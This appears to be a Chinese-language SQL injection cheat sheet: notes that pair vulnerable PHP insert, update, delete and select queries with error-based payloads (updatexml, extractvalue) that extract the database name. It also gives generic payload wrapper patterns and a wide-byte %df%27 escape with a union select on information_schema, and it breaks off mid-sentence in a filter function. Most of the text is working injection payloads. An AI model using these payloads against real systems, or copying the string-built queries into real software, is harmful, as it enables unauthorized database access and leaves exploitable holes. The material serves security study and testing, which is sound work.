$sql = "insert into user(username,password) values('$username','$password',)";
payload: 适用于字符型:
' or updatexml(1,concat(0x7e,(database())),0) or '
适用于数字型:
' or extractvalue(1,concat(0x5e24,(database()))) or '
$sql = "insert into user(username,password) values('' or updatexml(1,concat(0x7e,(database())),0) or '','$_POST['password']')";
$sql = "update user set username='$username',password='$password' where id=$id";
payload:适用于字符型:
' or updatexml(1,concat(0x7e,(database())),0) or '
适用于数字型:
' or extractvalue(1,concat(0x5e24,(database()))) or '
$sql = "update user set username='' or updatexml(1,concat(0x7e,(database())),0) or '',password='$_POST['password']' where id=$_POST['id']";
$sql = "delete from user where id=$id";
pauload:
or or updatexml(1,concat(0x7e,(database())),0) or ' '
or extractvalue(1,concat(0x5e24,(database()))) or ' '
其他类型的payload:
'or(有效载荷)or'
'and(有效载荷)and'
'or(有效载荷)and'
'or(有效载荷)and'='
'*(有效载荷)*'
'or(有效载荷)and'
“ - (有效载荷) - “
由于转义了单引号成 \' 但是%df与\构成双字节,%df\结合为中文,从而%27逃逸
$sql = "select * from user where username='$username'";
payload:
-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns
where table_name='table.name' # (后面的''可以使用16进制编码,编码结束后在前面加上0x)
$sql = "select * from users where username=\''.$usename.'\' and password=\''.$password.'\'";
$username,$password 被过滤:
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str); //删除字符串里的\
}
return htmlentities($str, ENT_QUOTES);
//比如我们对字符串"